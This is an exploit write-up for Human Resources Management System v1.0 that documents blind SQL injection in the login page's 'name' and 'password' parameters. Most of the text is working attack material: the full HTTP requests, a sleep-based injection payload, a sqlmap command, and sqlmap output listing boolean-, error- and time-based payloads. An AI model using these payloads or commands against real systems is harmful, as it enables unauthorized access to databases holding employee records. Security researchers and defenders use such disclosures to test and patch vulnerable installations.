Human Resources Management System v1.0 – Multiple SQLi
# Exploit Title: Human Resources Management System v1.0 - Multiple SQLi # Date: 16/03/2023 # Exploit Author: Abdulhakim Öner # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html # Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hrm.zip # Version: 1.0 # Tested on: Windows ## Description A Blind SQL injection vulnerability in the login page (/hrm/controller/login.php) in Human Resources Management System allows remote unauthenticated attackers to execute remote command through arbitrary SQL commands by "name" parameter. ## Request PoC ``` POST /hrm/controller/login.php HTTP/1.1 Host: 192.168.1.103 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Connection: close Cache-Control: max-age=0 Referer: http://192.168.1.103/hrm/ Content-Type: application/x-www-form-urlencoded Content-Length: 73 name=test@testdomain.com'&password=test&submit=Sign+In ``` This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "name" parameter, the response to request was 302 status code with message of Found, but 20 seconds later, which indicates that our sleep 20 command works. ``` POST /hrm/controller/login.php HTTP/1.1 Host: 192.168.1.103 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Connection: close Cache-Control: max-age=0 Referer: http://192.168.1.103/hrm/ Content-Type: application/x-www-form-urlencoded Content-Length: 114 name=test@testdomain.com'%2b(select*from(select(sleep(20)))a)%2b'&password=test&submit=Sign+In ``` ## Exploit with sqlmap Save the request from burp to file ``` ┌──(root㉿caesar)-[/home/kali/Workstation/hrm] └─# sqlmap -r sqli.txt -p 'name' --batch --dbs --level=3 --risk=2 ---snip---- [15:49:36] [INFO] testing 'MySQL UNION query (89) - 81 to 100 columns' POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 838 HTTP(s) requests: --- Parameter: name (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: name=test@testdomain.com' AND 3287=(SELECT (CASE WHEN (3287=3287) THEN 3287 ELSE (SELECT 8737 UNION SELECT 2671) END))-- -&password=a5P!s3v!K8&submit=Sign In Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=test@testdomain.com' OR (SELECT 6958 FROM(SELECT COUNT(*),CONCAT(0x717a766b71,(SELECT (ELT(6958=6958,1))),0x716b786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VHwA&password=a5P!s3v!K8&submit=Sign In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=test@testdomain.com' AND (SELECT 1760 FROM (SELECT(SLEEP(5)))LTmV)-- fhJt&password=a5P!s3v!K8&submit=Sign In --- [15:49:36] [INFO] the back-end DBMS is MySQL web application technology: PHP 8.2.0, Apache 2.4.54, PHP ----snip---- ``` ## The "password" parameter in the POST request is also vulnerable. It can be exploited in the same way. |